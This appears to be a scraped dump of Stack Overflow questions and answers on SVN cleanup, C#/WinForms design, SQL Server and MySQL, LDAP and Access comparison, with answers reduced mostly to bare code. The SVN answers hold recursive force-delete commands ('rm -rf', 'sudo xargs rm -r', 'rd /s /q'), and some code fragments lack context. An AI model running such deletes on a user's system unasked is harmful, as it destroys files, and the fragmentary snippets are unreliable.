[ "https://Stackoverflow.com/questions/239306", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,340
<p>Does anybody know a way to recursively remove all files in a working copy that are not under version control? (I need this to get more reliable results in my automatic build VMware.)</p>
[ { "answer_id": 239351, "author": "Thomas Watnedal", "author_id": 4059, "author_profile": "https://Stackoverflow.com/users/4059", "pm_score": 6, "selected": true, "text": "svn cleanup --remove-unversioned\n import os\nimport re\n\ndef removeall(path):\n if not os.path.isdir(path):\n os.remove(path)\n return\n files=os.listdir(path)\n for x in files:\n fullpath=os.path.join(path, x)\n if os.path.isfile(fullpath):\n os.remove(fullpath)\n elif os.path.isdir(fullpath):\n removeall(fullpath)\n os.rmdir(path)\n\nunversionedRex = re.compile('^ ?[\\?ID] *[1-9 ]*[a-zA-Z]* +(.*)')\nfor l in os.popen('svn status --no-ignore -v').readlines():\n match = unversionedRex.match(l)\n if match: removeall(match.group(1))\n" }, { "answer_id": 239358, "author": "Ken", "author_id": 20074, "author_profile": "https://Stackoverflow.com/users/20074", "pm_score": 7, "selected": false, "text": " svn status | egrep '^\\?' | cut -c8- | xargs rm\n svn status | grep ^\\? | cut -c9- | xargs -d \\\\n rm -r \n" }, { "answer_id": 239371, "author": "Stefan Schultze", "author_id": 6358, "author_profile": "https://Stackoverflow.com/users/6358", "pm_score": 2, "selected": false, "text": "Console.WriteLine(\"SVN cleaning directory {0}\", directory);\n\nDirectory.SetCurrentDirectory(directory);\n\nvar psi = new ProcessStartInfo(\"svn.exe\", \"status --non-interactive\");\npsi.UseShellExecute = false;\npsi.RedirectStandardOutput = true;\npsi.WorkingDirectory = directory;\n\nusing (var process = Process.Start(psi))\n{\n string line = process.StandardOutput.ReadLine();\n while (line != null)\n {\n if (line.Length > 7)\n {\n if (line[0] == '?')\n {\n string relativePath = line.Substring(7);\n Console.WriteLine(relativePath);\n\n string path = Path.Combine(directory, relativePath);\n if (Directory.Exists(path))\n {\n Directory.Delete(path, true);\n }\n else if (File.Exists(path))\n {\n File.Delete(path);\n }\n }\n }\n line = process.StandardOutput.ReadLine();\n }\n}\n" }, { "answer_id": 781456, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": " <taskdef resource=\"net/sf/antcontrib/antcontrib.properties\"/>\n <taskdef name=\"for\" classname=\"net.sf.antcontrib.logic.ForTask\" />\n\n <macrodef name=\"svnExecToProperty\">\n <attribute name=\"params\" />\n <attribute name=\"outputProperty\" />\n <sequential>\n <echo message=\"Executing Subversion command:\" />\n <echo message=\" svn @{params}\" />\n <exec executable=\"cmd.exe\" failonerror=\"true\"\n outputproperty=\"@{outputProperty}\">\n <arg line=\"/c svn @{params}\" />\n </exec>\n </sequential>\n </macrodef>\n\n <!-- Deletes all unversioned files without warning from the \n basedir and all subfolders -->\n <target name=\"!deleteAllUnversionedFiles\">\n <svnExecToProperty params=\"status &quot;${basedir}&quot;\" \n outputProperty=\"status\" />\n <echo message=\"Deleting any unversioned files:\" />\n <for list=\"${status}\" param=\"p\" delimiter=\"&#x0a;\" trim=\"true\">\n <sequential>\n <if>\n <matches pattern=\"\\?\\s+.*\" string=\"@{p}\" />\n <then>\n <propertyregex property=\"f\" override=\"true\" input=\"@{p}\" \n regexp=\"\\?\\s+(.*)\" select=\"\\1\" />\n <delete file=\"${f}\" failonerror=\"true\" />\n </then>\n </if>\n </sequential>\n </for>\n <echo message=\"Done.\" />\n </target>\n ${basedir}" }, { "answer_id": 1212249, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "#!perl\n\nuse strict;\n\nsub main()\n\n{\n\n my @unversioned_list = `svn status`;\n\n foreach my $line (@unversioned_list)\n\n {\n\n chomp($line);\n\n #print \"STAT: $line\\n\";\n\n if ($line =~/^\\?\\s*(.*)$/)\n\n {\n\n #print \"Must remove $1\\n\";\n\n unlink($1);\n\n rmdir($1);\n\n }\n\n }\n\n}\n\nmain();\n" }, { "answer_id": 1502365, "author": "Sukesh Nambiar", "author_id": 182315, "author_profile": "https://Stackoverflow.com/users/182315", "pm_score": 3, "selected": false, "text": "for /f \"tokens=2*\" %i in ('svn status ^| find \"?\"') do del %i\n for /f \"usebackq tokens=2*\" %i in (`svn status ^| findstr /r \"^\\?\"`) do svn delete --force \"%i %j\"\n % for /f \"usebackq tokens=2*\" %%i in (`svn status ^| findstr /r \"^\\?\"`) do svn delete --force \"%%i %%j\"\n" }, { "answer_id": 4572157, "author": "Aria", "author_id": 559479, "author_profile": "https://Stackoverflow.com/users/559479", "pm_score": 2, "selected": false, "text": "svn status --no-ignore | awk '/^[I\\?]/ {system(\"echo rm -r \" $2)}'\n" }, { "answer_id": 6112048, "author": "user9876", "author_id": 37386, "author_profile": "https://Stackoverflow.com/users/37386", "pm_score": 3, "selected": false, "text": "svn status --no-ignore | egrep '^[?I]' | cut -c9- | xargs -d \\\\n rm -r\n svn status --no-ignore | egrep '^[?I]' | cut -c9- | sudo xargs -d \\\\n rm -r\n" }, { "answer_id": 7251700, "author": "Kyle", "author_id": 3335, "author_profile": "https://Stackoverflow.com/users/3335", "pm_score": 3, "selected": false, "text": "function svnclean {\n svn status | foreach { if($_.StartsWith(\"?\")) { Remove-Item $_.substring(8) -Verbose } }\n}\n" }, { "answer_id": 9916651, "author": "user1299374", "author_id": 1299374, "author_profile": "https://Stackoverflow.com/users/1299374", "pm_score": 1, "selected": false, "text": "svn status | awk '{if($2 !~ /(config|\\.ini)/ && !system(\"test -e \\\"\" $2 \"\\\"\")) {print $2; system(\"rm -Rf \\\"\" $2 \"\\\"\");}}'\n" }, { "answer_id": 14007301, "author": "Andriy F.", "author_id": 1303422, "author_profile": "https://Stackoverflow.com/users/1303422", "pm_score": 1, "selected": false, "text": "@echo off\n\nsvn cleanup .\nsvn revert -R .\nFor /f \"tokens=1,2\" %%A in ('svn status --no-ignore') Do (\n If [%%A]==[?] ( Call :UniDelete %%B\n ) Else If [%%A]==[I] Call :UniDelete %%B\n )\nsvn update .\ngoto :eof\n\n:UniDelete delete file/dir\nif \"%1\"==\"%~nx0\" goto :eof\nIF EXIST \"%1\\*\" ( \n RD /S /Q \"%1\"\n) Else (\n If EXIST \"%1\" DEL /S /F /Q \"%1\"\n)\ngoto :eof\n" }, { "answer_id": 16839566, "author": "josh-cain", "author_id": 564875, "author_profile": "https://Stackoverflow.com/users/564875", "pm_score": 2, "selected": false, "text": "svn status | grep ^? | awk '{print $2}' | sed 's/^/.\\//g' | xargs rm -R\n" }, { "answer_id": 17491264, "author": "Konstantin Burlachenko", "author_id": 1154447, "author_profile": "https://Stackoverflow.com/users/1154447", "pm_score": 3, "selected": false, "text": "rm -rf `svn st . | grep \"^?\" | cut -f2-9 -d' '`\n" }, { "answer_id": 17979708, "author": "J. T. Marsh", "author_id": 2076499, "author_profile": "https://Stackoverflow.com/users/2076499", "pm_score": 0, "selected": false, "text": "#!/usr/bin/perl\nuse IO::CaptureOutput 'capture_exec'\n\nmy $command = sprintf (\"svn status --no-ignore | grep '^?' | sed -n 's/^\\?//p'\");\n\nmy ( $stdout, $stderr, $success, $exit_code ) = capture_exec ( $command );\nmy @listOfFiles = split ( ' ', $stdout );\n\nforeach my $file ( @listOfFiles )\n{ # foreach ()\n $command = sprintf (\"rm -rf %s\", $file);\n ( $stdout, $stderr, $success, $exit_code ) = capture_exec ( $command );\n} # foreach ()\n" }, { "answer_id": 21441381, "author": "Beetroot Paul", "author_id": 1036577, "author_profile": "https://Stackoverflow.com/users/1036577", "pm_score": 1, "selected": false, "text": "cut -c9- sed cut svn status | grep ^\\? | sed -e 's/\\?\\s*//g' | xargs -d \\\\n rm -r\n" }, { "answer_id": 22094588, "author": "Ilya Rosman", "author_id": 3364700, "author_profile": "https://Stackoverflow.com/users/3364700", "pm_score": 0, "selected": false, "text": "setlocal enabledelayedexpansion\n\nfor /f \"skip=1 tokens=2* delims==\" %%i in ('svn status --no-ignore --xml ^| findstr /r \"path\"') do (\n@set j=%%i\n@rd /s /q !j:~0,-1!\n)\n" }, { "answer_id": 24897622, "author": "maxschlepzig", "author_id": 427158, "author_profile": "https://Stackoverflow.com/users/427158", "pm_score": 2, "selected": false, "text": "svn st --no-ignore | grep '^[?I]' | sed 's/^[?I] *//' | xargs -r -d '\\n' rm -r\n st svn st status svn status --no-ignore .cvsignore grep ? --no-ignore sed xargs -r rm -d '\\n' xargs rm -r" }, { "answer_id": 25355873, "author": "TarmoPikaro", "author_id": 2338477, "author_profile": "https://Stackoverflow.com/users/2338477", "pm_score": 0, "selected": false, "text": " /// <summary>\n /// Cleans up svn folder by removing non committed files and folders.\n /// </summary>\n void CleanSvnFolder( string folder )\n {\n Directory.SetCurrentDirectory(folder);\n\n var psi = new ProcessStartInfo(\"svn.exe\", \"status --non-interactive\");\n psi.UseShellExecute = false;\n psi.RedirectStandardOutput = true;\n psi.WorkingDirectory = folder;\n psi.CreateNoWindow = true;\n\n using (var process = Process.Start(psi))\n {\n string line = process.StandardOutput.ReadLine();\n while (line != null)\n {\n var m = Regex.Match(line, \"\\\\? +(.*)\");\n\n if( m.Groups.Count >= 2 )\n {\n string relativePath = m.Groups[1].ToString();\n\n string path = Path.Combine(folder, relativePath);\n if (Directory.Exists(path))\n {\n Directory.Delete(path, true);\n }\n else if (File.Exists(path))\n {\n File.Delete(path);\n }\n }\n line = process.StandardOutput.ReadLine();\n }\n }\n } //CleanSvnFolder\n" }, { "answer_id": 28358289, "author": "Giscard Biamby", "author_id": 239185, "author_profile": "https://Stackoverflow.com/users/239185", "pm_score": 1, "selected": false, "text": "svn status --no-ignore | ?{$_.SubString(0,1).Equals(\"?\")} | foreach { remove-item -Path (join-Path .\\ $_.Replace(\"?\",\"\").Trim()) -WhatIf }\n" }, { "answer_id": 39499969, "author": "stevek_mcc", "author_id": 1166064, "author_profile": "https://Stackoverflow.com/users/1166064", "pm_score": 2, "selected": false, "text": "TortoiseProc.exe /command:cleanup /path:\"%CD%\" /delunversioned /delignored /nodlg /noui\n /command:cleanup" }, { "answer_id": 44199140, "author": "Michael Firth", "author_id": 4523777, "author_profile": "https://Stackoverflow.com/users/4523777", "pm_score": 1, "selected": false, "text": "if os.path.isfile(fullpath):\n if os.path.isfile(fullpath) or os.path.islink(fullpath):\n if match: removeall(match.group(1)) if match:\n print \"Removing \" + match.group(1)\n removeall(match.group(1))\n ?[\\?ID] ?[\\?I] D D" }, { "answer_id": 51749858, "author": "Nikola", "author_id": 9835141, "author_profile": "https://Stackoverflow.com/users/9835141", "pm_score": 1, "selected": false, "text": "FOR /F \"tokens=1* delims= \" %%G IN ('svn st %~1 ^| findstr \"^?\"') DO del /s /f /q \"%%H\"\nFOR /F \"tokens=1* delims= \" %%G IN ('svn st %~1 ^| findstr \"^?\"') DO rd /s /q \"%%H\"\n % %~1 %~1" }, { "answer_id": 51802658, "author": "Ivan Zhakov", "author_id": 89432, "author_profile": "https://Stackoverflow.com/users/89432", "pm_score": 3, "selected": false, "text": "svn cleanup --remove-unversioned\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239340", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6358/" ]
239,344
<p>I want your suggestion on the following pseudo-code. Please suggest how could I improve it, whether or not I could use some design patterns.</p> <pre><code> // i'm receiving a string containing : id operation arguments data = read(socket); tokens = tokenize(data," "); // tokenize the string based on spaces if(tokens[0] == "A") { if(tokens[1] == "some_operation") { // here goes code for some_operation , will use the remaining tokens as arguments for function calls } else if(tokens[1] == "some_other_operation") { // here goes code for some_other_operation , will use the remaining tokens } ... else { // unknown operation } } else if(tokens[0] == "B") { if(tokens[1] == "some_operation_for_B") { // do some operation for B } else if(tokens[1] == "yet_another_operation") { // do yet_another_operation for B } ... else { // unknown operation } } </code></pre> <p>I hope you get the point . The thing is I have a large number of <strong>id's</strong> and each has it's own <strong>operations</strong> , and I think it's kinda ugly to have 10 screens of code containing a lot of <strong>if's</strong> and <strong>else if's</strong>.</p>
[ { "answer_id": 239348, "author": "Epaga", "author_id": 6583, "author_profile": "https://Stackoverflow.com/users/6583", "pm_score": 5, "selected": true, "text": "StrategyFactory.GetStrategy(tokens[0]).parse(tokens[1..n])" }, { "answer_id": 239360, "author": "Cheery", "author_id": 21711, "author_profile": "https://Stackoverflow.com/users/21711", "pm_score": 1, "selected": false, "text": "consumed_count = token_mapper[tokens[0]](tokens)\nremove amount of consumed tokens according to the return value and repeat.\n" }, { "answer_id": 239574, "author": "xtofl", "author_id": 6610, "author_profile": "https://Stackoverflow.com/users/6610", "pm_score": 3, "selected": false, "text": "Command := ACommand | BCommand\n\nACommand := 'A' AOperation\nAOperation := 'some_operation' | 'some_other_operation'\n\nBCommand := 'B' BOperation\nBOperation := 'some_operation_for_B' | 'some_other_operation_for_B'\n #include \"stdafx.h\"\n#include <boost/spirit/core.hpp>\n#include <iostream>\n#include <string>\n\nusing namespace std;\nusing namespace boost::spirit;\n\nnamespace {\n void AOperation(char const*, char const*) { cout << \"AOperation\\n\"; }\n void AOtherOperation(char const*, char const*) { cout << \"AOtherOperation\\n\"; }\n\n void BOperation(char const*, char const*) { cout << \"BOperation\\n\"; }\n void BOtherOperation(char const*, char const*) { cout << \"BOtherOperation\\n\"; }\n}\n\nstruct arguments : public grammar<arguments>\n{\n template <typename ScannerT>\n struct definition\n {\n definition(arguments const& /*self*/)\n {\n command\n = acommand | bcommand;\n\n acommand = chlit<char>('A') \n >> ( a_someoperation | a_someotheroperation );\n\n a_someoperation = str_p( \"some_operation\" ) [ &AOperation ];\n a_someotheroperation = str_p( \"some_other_operation\" )[ &AOtherOperation ];\n\n bcommand = chlit<char>('B') \n >> ( b_someoperation | b_someotheroperation );\n\n b_someoperation = str_p( \"some_operation_for_B\" ) [ &BOperation ];\n b_someotheroperation = str_p( \"some_other_operation_for_B\" )[ &BOtherOperation ];\n\n }\n\n rule<ScannerT> command;\n rule<ScannerT> acommand, bcommand;\n rule<ScannerT> a_someoperation, a_someotheroperation;\n rule<ScannerT> b_someoperation, b_someotheroperation;\n\n rule<ScannerT> const&\n start() const { return command; }\n };\n};\n\ntemplate<typename parse_info >\nbool test( parse_info pi ) {\n if( pi.full ) { \n cout << \"success\" << endl; \n return true;\n } else { \n cout << \"fail\" << endl; \n return false;\n }\n}\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\n arguments args;\n test( parse( \"A some_operation\", args, space_p ) );\n test( parse( \"A some_other_operation\", args, space_p ) );\n test( parse( \"B some_operation_for_B\", args, space_p ) );\n test( parse( \"B some_other_operation_for_B\", args, space_p ) );\n test( parse( \"A some_other_operation_for_B\", args, space_p ) );\n\n return 0;\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239344", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31610/" ]
239,385
<p>I know that LDAP is used to provide some information and to help facilitate authorization. </p> <p>But what are the other usages of LDAP? </p>
[ { "answer_id": 30617350, "author": "Nitin Pawar", "author_id": 4915436, "author_profile": "https://Stackoverflow.com/users/4915436", "pm_score": 5, "selected": false, "text": "cn mail cn Babs Jensen babs@example.com jpegPhoto" }, { "answer_id": 73725266, "author": "Yilmaz", "author_id": 10262805, "author_profile": "https://Stackoverflow.com/users/10262805", "pm_score": 0, "selected": false, "text": "LDAP LDAP" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239385", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,408
<p>I have a class with some abstract methods, but I want to be able to edit a subclass of that class in the designer. However, the designer can't edit the subclass unless it can create an instance of the parent class. So my plan is to replace the abstract methods with stubs and mark them as virtual - but then if I make another subclass, I won't get a compile-time error if I forget to implement them.</p> <p>Is there a way to mark the methods so that they have to be implemented by subclasses, without marking them as abstract?</p>
[ { "answer_id": 239423, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 4, "selected": true, "text": "#if DEBUG RELEASE NotImplementedException [Test]\npublic void TestFoo() {\n ActualTest<Foo>();\n}\n[Test]\npublic void TestBar() {\n ActualTest<Bar>();\n}\n\nstatic void ActualTest<T>() where T : SomeBaseClass, new() {\n T obj = new T();\n Assert.blah something involving obj\n}\n" }, { "answer_id": 240421, "author": "Curro", "author_id": 10688, "author_profile": "https://Stackoverflow.com/users/10688", "pm_score": 3, "selected": false, "text": "public class DesignerHappy\n{\n private ADesignerHappyImp imp_;\n\n public int MyMethod()\n {\n return imp_.MyMethod() \n }\n\n public int MyProperty\n {\n get { return imp_.MyProperty; }\n set { imp_.MyProperty = value; }\n }\n}\n\npublic abstract class ADesignerHappyImp\n{\n public abstract int MyMethod();\n public int MyProperty {get; set;}\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239408", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15371/" ]
239,414
<p>How do I insert a current_timestamp into an SQL Server 2005 database datable with a timestamp column?</p> <p>It should be simple but I cannot get it to work. Examples would be much appreciated.</p>
[ { "answer_id": 239426, "author": "robsoft", "author_id": 3897, "author_profile": "https://Stackoverflow.com/users/3897", "pm_score": 3, "selected": false, "text": "update MyTable set MyColumn=getdate();\n insert into MyTable (MyColumn) values (getdate());\n" }, { "answer_id": 239427, "author": "Vinko Vrsalovic", "author_id": 5190, "author_profile": "https://Stackoverflow.com/users/5190", "pm_score": 2, "selected": false, "text": " insert into table (creation_date) VALUES (current_timestamp)\n CREATE table timestamp_test (creation_timestamp datetime)\nINSERT INTO timestamp_test (creation_timestamp) VALUES (current_timestamp)\nSELECT * FROM timestamp_test\nDROP TABLE timestamp_test\n" }, { "answer_id": 239433, "author": "Tom Haigh", "author_id": 22224, "author_profile": "https://Stackoverflow.com/users/22224", "pm_score": 3, "selected": false, "text": "$sql = 'INSERT INTO tablename (fieldname) VALUES (getdate())';\n $sql = 'INSERT INTO tablename (fieldname) VALUES (\\'' . date('Y-m-d H:i:s') . '\\')';\n mssql_execute($sql);" }, { "answer_id": 8236130, "author": "davibq", "author_id": 1060923, "author_profile": "https://Stackoverflow.com/users/1060923", "pm_score": 2, "selected": false, "text": "DEFAULT INSERT INTO User(username, EnterTS) VALUES ('user123', DEFAULT)\n EnterTS" }, { "answer_id": 11037161, "author": "HPWD", "author_id": 483140, "author_profile": "https://Stackoverflow.com/users/483140", "pm_score": 0, "selected": false, "text": "getdate()" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239414", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,424
<p>How does the event creation and handling work in Java Swing?</p>
[ { "answer_id": 239444, "author": "Midhat", "author_id": 9425, "author_profile": "https://Stackoverflow.com/users/9425", "pm_score": 3, "selected": false, "text": "IMessageListener listener;\n public void setListener(IMessageListener listener) {\n this.listener = listener;\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239424", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9095/" ]
239,425
<p>I have a WinForms C# application using a MS SQL Server Express database. The application is deployed on the PCs of our customers and they don't have computer related knowledge. </p> <p>The application updates the database regularly and I see a lot of fragmentation on the index files. How do I keep the database healthy/responsive over time? </p> <p>I was thinking about programming a stored procedure which reorganizes every index, but I lack t-sql skills; can someone lead me in the right direction? </p> <p>Bas</p>
[ { "answer_id": 1889097, "author": "Bas Jansen", "author_id": 1997188, "author_profile": "https://Stackoverflow.com/users/1997188", "pm_score": 1, "selected": true, "text": "SELECT \n st.object_id AS objectid,\n st.index_id AS indexid,\n partition_number AS partitionnum,\n avg_fragmentation_in_percent AS frag,\n o.name,\n i.name\nFROM \n sys.dm_db_index_physical_stats (DB_ID(), NULL, NULL , NULL, 'LIMITED') st\njoin\n sys.objects o on o.object_id = st.object_id\njoin \n sys.indexes i on st.object_id = i.object_id and i.index_id=st.index_id\n SET NOCOUNT ON;\nDECLARE @objectid int;\nDECLARE @indexid int;\nDECLARE @partitioncount bigint;\nDECLARE @schemaname nvarchar(130); \nDECLARE @objectname nvarchar(130); \nDECLARE @indexname nvarchar(130); \nDECLARE @partitionnum bigint;\nDECLARE @partitions bigint;\nDECLARE @frag float;\nDECLARE @command nvarchar(4000); \n-- Conditionally select tables and indexes from the sys.dm_db_index_physical_stats function \n-- and convert object and index IDs to names.\n\nif ( object_id( 'tempdb..#work_to_do' ) is not null )\n DROP TABLE #work_to_do;\n\n-- Alleen indexen die meer dan x% gefragemteerd zijn\nSELECT\n object_id AS objectid,\n index_id AS indexid,\n partition_number AS partitionnum,\n avg_fragmentation_in_percent AS frag\nINTO #work_to_do\nFROM sys.dm_db_index_physical_stats (DB_ID(), NULL, NULL , NULL, 'LIMITED')\nWHERE avg_fragmentation_in_percent > 5.0 AND index_id > 0;\n\n-- Declare the cursor for the list of partitions to be processed.\nDECLARE partitions CURSOR FOR SELECT * FROM #work_to_do;\n\n-- Open the cursor.\nOPEN partitions;\n\n-- Loop through the partitions.\nWHILE (1=1)\n BEGIN;\n FETCH NEXT\n FROM partitions\n INTO @objectid, @indexid, @partitionnum, @frag;\n IF @@FETCH_STATUS < 0 BREAK;\n SELECT @objectname = QUOTENAME(o.name), @schemaname = QUOTENAME(s.name)\n FROM sys.objects AS o\n JOIN sys.schemas as s ON s.schema_id = o.schema_id\n WHERE o.object_id = @objectid;\n SELECT @indexname = QUOTENAME(name)\n FROM sys.indexes\n WHERE object_id = @objectid AND index_id = @indexid;\n SELECT @partitioncount = count (*)\n FROM sys.partitions\n WHERE object_id = @objectid AND index_id = @indexid;\n\n SET @command = N'ALTER INDEX ' + @indexname + N' ON ' + @schemaname + N'.' + @objectname + N' REBUILD WITH (FILLFACTOR = 90)';\n IF @partitioncount > 1\n SET @command = @command + N' PARTITION=' + CAST(@partitionnum AS nvarchar(10));\n EXEC (@command);\n PRINT N'Executed: ' + @command;\n END;\n\n-- Close and deallocate the cursor.\nCLOSE partitions;\nDEALLOCATE partitions;\n\n-- Drop the temporary table.\nDROP TABLE #work_to_do;\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239425", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1997188/" ]
239,435
<p>I'm kinda stuck with this one so I hoped someone could help me.</p> <p>I am doing a Winforms application and I need to show a Modal Dialog (form.ShowDialog) that returns a value (prompts the User some values and wraps them in a Object). </p> <p>I just can't see how to do this rather than give a reference into the object or depending on some form of public Property to read the data afterwards. </p> <p>I'd just like to have ShowDialog return something different, but that doesn't work. Is thare some "good" way to do this? </p> <p>I'm sure the problem isn't new, but since almost nobody seems to do Winforms any more I can't find any guidance on the web.</p>
[ { "answer_id": 239449, "author": "Matt Hamilton", "author_id": 615, "author_profile": "https://Stackoverflow.com/users/615", "pm_score": 5, "selected": true, "text": "public class MyDialog : Form\n{\n // todo: think of a better method name :)\n public static MyObject ShowAndReturnObject() \n {\n var dlg = new MyDialog();\n if (new dlg.ShowDialog() == DialogResult.OK) \n {\n var obj = // construct an instance of MyObject from dlg\n return obj;\n }\n else\n {\n return null; \n }\n }\n}\n var myObject = MyDialog.ShowAndReturnObject();\n" }, { "answer_id": 12764709, "author": "Armando Peña", "author_id": 1684287, "author_profile": "https://Stackoverflow.com/users/1684287", "pm_score": 2, "selected": false, "text": "/* Caller Code */ \nvar dlg = new MyDialog();\nif(dlg.ShowDialog() == DialogResult.OK)\n MessageBox.Show(dlg.MyResult);\n\n/* Dialog Code */\npublic string MyResult { get { return textBox1.Text; } }\n\nprivate void btnOk_Click(object sender, EventArgs e)\n{\n DialogResult = System.Windows.Forms.DialogResult.OK;\n this.Close();\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239435", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21699/" ]
239,443
<p>I have these two <code>CREATE TABLE</code> statements: </p> <pre><code>CREATE TABLE GUEST ( id int(15) not null auto_increment PRIMARY KEY, GuestName char(25) not null ); CREATE TABLE PAYMENT ( id int(15) not null auto_increment Foreign Key(id) references GUEST(id), BillNr int(15) not null ); </code></pre> <p>What is the problem in the second statement? It did not create a new table.</p>
[ { "answer_id": 239620, "author": "Hapkido", "author_id": 27646, "author_profile": "https://Stackoverflow.com/users/27646", "pm_score": 3, "selected": false, "text": "CREATE TABLE GUEST(\n id int(15) not null auto_increment PRIMARY KEY, \n GuestName char(25) not null\n) ENGINE=INNODB;\n\nCREATE TABLE PAYMENT(\n id int(15)not null auto_increment, \n Guest_id int(15) not null, \n INDEX G_id (Guest_id), \n Foreign Key(Guest_id) references GUEST(id),\n BillNr int(15) not null\n) ENGINE=INNODB;\n" }, { "answer_id": 239633, "author": "DOK", "author_id": 27637, "author_profile": "https://Stackoverflow.com/users/27637", "pm_score": 4, "selected": false, "text": "CREATE TABLE parent (id INT NOT NULL,\n PRIMARY KEY (id)\n) ENGINE=INNODB;\nCREATE TABLE child (id INT, parent_id INT,\n INDEX par_ind (parent_id),\n FOREIGN KEY (parent_id) REFERENCES parent(id)\n ON DELETE CASCADE\n) ENGINE=INNODB;\n" }, { "answer_id": 5360218, "author": "Piyush Sharma", "author_id": 667009, "author_profile": "https://Stackoverflow.com/users/667009", "pm_score": -1, "selected": false, "text": "int(15) not null" }, { "answer_id": 55868477, "author": "Thirumurugan K", "author_id": 9984163, "author_profile": "https://Stackoverflow.com/users/9984163", "pm_score": 0, "selected": false, "text": "create table course(ccode int(2) primary key,course varchar(10));\n\ncreate table student1(rollno int(5) primary key,name varchar(10),coursecode int(2) not \nnull,mark1 int(3),mark2 int(3),foreign key(coursecode) references course(ccode));\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239443", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17451/" ]
239,450
<p>I want to compare two ms-access .mdb files to check that the data they contain is same in both.</p> <p>How can I do this?</p>
[ { "answer_id": 239484, "author": "rwired", "author_id": 17492, "author_profile": "https://Stackoverflow.com/users/17492", "pm_score": -1, "selected": false, "text": "fc file1.mdb file2.mdb \n" }, { "answer_id": 241429, "author": "David-W-Fenton", "author_id": 9787, "author_profile": "https://Stackoverflow.com/users/9787", "pm_score": 4, "selected": true, "text": " Set rs = db.OpenRecordset(\"[SQL statement with the fields you want compared]\")\n For Each fld In rs.Fields\n ' Write a SQL string to update all the records in this column\n ' where the data doesn't match\n strSQL = \"[constructed SQL here]\"\n db.Execute strSQL, dbFailOnError\n Next fld\n Select Case fld.Type\n Case dbText, dbMemo\n Case Else\n End Select\n Public Sub ImportMembers(strSQL As String, strTmpDB As String)\n Const STR_QUOTE = \"\"\"\"\n Dim db As Database\n Dim rsSource As Recordset '\n Dim fld As Field\n Dim strUpdateField As String\n Dim strZLS As String\n Dim strSet As String\n Dim strWhere As String\n\n ' EXTENSIVE CODE LEFT OUT HERE\n\n Set db = Application.DBEngine(0).OpenDatabase(strTmpDB)\n\n ' UPDATE EXISTING RECORDS\n Set rsSource = db.OpenRecordset(strSQL)\n strSQL = \"UPDATE qdfNewMembers INNER JOIN qdfOldMembers ON \"\n strSQL = strSQL & \"qdfNewMembers.EntityID = qdfOldMembers.EntityID IN '\" _\n & strTmpDB & \"'\"\n If rsSource.RecordCount <> 0 Then\n For Each fld In rsSource.Fields\n strUpdateField = fld.Name\n 'Debug.Print strUpdateField\n If InStr(strUpdateField, \"ID\") = 0 Then\n If fld.Type = dbText Then\n strZLS = \" & ''\"\n Else\n strZLS = vbNullString\n End If\n strSet = \" SET qdfOldMembers.\" & strUpdateField _\n & \" = varZLStoNull(qdfNewMembers.\" & strUpdateField & \")\"\n strWhere = \" WHERE \" & \"qdfOldMembers.\" & strUpdateField & strZLS _\n & \"<>\" & \"qdfNewMembers.\" & strUpdateField & strZLS _\n & \" OR (IsNull(qdfOldMembers.\" & strUpdateField _\n & \")<>IsNull(varZLStoNull(qdfNewMembers.\" _\n & strUpdateField & \")));\"\n db.Execute strSQL & strSet & strWhere, dbFailOnError\n 'Debug.Print strSQL & strSet & strWhere\n End If\n Next fld\n End If\nEnd Sub\n Public Function varZLStoNull(varInput As Variant) As Variant\n If Len(varInput) = 0 Then\n varZLStoNull = Null\n Else\n varZLStoNull = varInput\n End If\nEnd Function\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239450", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6613/" ]
239,463
<p>I have an application that behaves oddly, and just to verify, I'd like to see which security zone it is currently running under.</p> <p>I've found the System.Security.SecurityZone enum, but can't seem to find anything that will return which of these I'm running under.</p> <p>Does anyone have any tips?</p> <p>Basically I want to find out if my application is running in MyComputer, Intranet, Internet, Untrusted, Trusted, etc.</p> <hr> <p><strong>Edit:</strong> Here's the minor test-app I wrote to find this code, thanks to <a href="https://stackoverflow.com/users/2525/blowdart">@blowdart</a>.</p> <pre><code>using System; using System.Reflection; namespace zone_check { class Program { static void Main(string[] args) { Console.WriteLine(".NET version: " + Environment.Version); foreach (Object ev in Assembly.GetExecutingAssembly().Evidence) { if (ev is System.Security.Policy.Zone) { System.Security.Policy.Zone zone = (System.Security.Policy.Zone)ev; Console.WriteLine("Security zone: " + zone.SecurityZone); break; } } } } } </code></pre>
[ { "answer_id": 13532405, "author": "thejaeck.net", "author_id": 1427893, "author_profile": "https://Stackoverflow.com/users/1427893", "pm_score": -1, "selected": false, "text": "Evidence e = Thread.CurrentThread.GetType().Assembly.Evidence;\n this.GetType().Assembly.Evidence\n" }, { "answer_id": 19205682, "author": "György Balássy", "author_id": 421501, "author_profile": "https://Stackoverflow.com/users/421501", "pm_score": 2, "selected": false, "text": "Zone z = a.Evidence.OfType<Zone>().First();\n GetHostEvidence Zone z = Assembly.GetExecutingAssembly().Evidence.GetHostEvidence<Zone>();\n EvidenceBase" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239463", "https://Stackoverflow.com", "https://Stackoverflow.com/users/267/" ]
